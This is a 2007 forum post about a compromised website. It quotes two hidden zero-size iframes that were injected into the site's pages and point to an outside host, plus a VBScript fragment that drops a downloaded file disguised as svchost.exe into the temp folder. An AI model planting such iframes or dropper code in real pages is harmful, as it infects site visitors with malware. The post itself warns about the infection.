View Single Post
Old 16th April 2007, 19:03   #5
Rich
Posted a thing or two
 
http://Roadca.ms - Letting you see what they see!

Join Date: Nov 2006
Location: Yup
Posts: 1,786
Thanks: 0
Thanked 7 Times in 1 Post
Default

Quote:
Originally Posted by Grey Ghost View Post
Not really familiar but would you expect to see these two lines of code on your home and other pages.

<iframe src=http://www.goldunix.com/xiao/index.htm widht=0 height=0></iframe>
<iframe src=http://www.goldunix.com/hker.htm widht=0 height=0></iframe>
Gotta love firefox, thats why I wasn't seeing anything bad

FYI Martin, the hker.htm file tries to do some very naughty things:

Quote:
fname1="svchost.exe"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
S.open
fname1= F.BuildPath(tmp,fname1)
S.write x.responseBody
S.savetofile fname1,2
S.close
Rich is offline   Reply With Quote